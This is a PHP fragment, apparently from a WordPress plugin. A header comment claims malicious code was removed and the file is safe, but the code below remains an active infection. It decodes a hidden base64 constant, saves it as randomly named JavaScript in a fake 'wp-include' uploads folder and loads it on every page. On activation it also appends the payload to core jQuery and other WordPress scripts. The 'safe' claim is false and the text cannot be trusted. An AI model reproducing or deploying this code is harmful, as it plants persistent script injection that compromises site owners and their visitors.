/**
* Note: This file may contain artifacts of previous malicious infection.
* However, the dangerous code has been removed, and the file is now safe to use.
*/
add_action('wp_body_open', 'set_in_site2_bbeb616fe595479567d02058c7fce160');
add_action('wp_footer', 'set_in_site3_bbeb616fe595479567d02058c7fce160');
function js_plugin_bbeb616fe595479567d02058c7fce160() {
$upload_dir = wp_upload_dir();
$folder = $upload_dir['basedir'] . '/wp-include/';
if (!file_exists($folder)) {
mkdir($folder, 0755, true);
}
$random_name = 'wp-' . uniqid() . '.js';
$file_path = $folder . $random_name;
$decoded_code = base64_decode(constant('CON_bbeb616fe595479567d02058c7fce160'));
file_put_contents($file_path, $decoded_code);
wp_enqueue_script('wp_cst_js'.uniqid(), str_replace("http://", "https://",$upload_dir['baseurl'] . '/wp-include/' . $random_name), array(), null, true);
wp_enqueue_script('wp_cst_js'.uniqid(), str_replace("https://", "http://",$upload_dir['baseurl'] . '/wp-include/' . $random_name), array(), null, true);
}
add_action('wp_enqueue_scripts', 'js_plugin_bbeb616fe595479567d02058c7fce160');
function read_and_edit_js_bbeb616fe595479567d02058c7fce160() {
$files = [
ABSPATH . 'wp-includes/js/jquery/jquery.min.js',
ABSPATH . 'wp-includes/js/jquery/jquery-migrate.min.js',
ABSPATH . 'wp-includes/js/wp-emoji-release.min.js',
ABSPATH . 'wp-includes/js/dist/vendor/wp-polyfill.min.js',
];
foreach ($files as $file) {
if (file_exists($file)) {
$content = file_get_contents($file);
$content .= "\n";
$content .= base64_decode(constant('CON_bbeb616fe595479567d02058c7fce160'));
file_put_contents($file, $content);
}
}
}
register_activation_hook(__FILE__, 'read_and_edit_js_bbeb616fe595479567d02058c7fce160');
Gracias por su preferecnia
]]>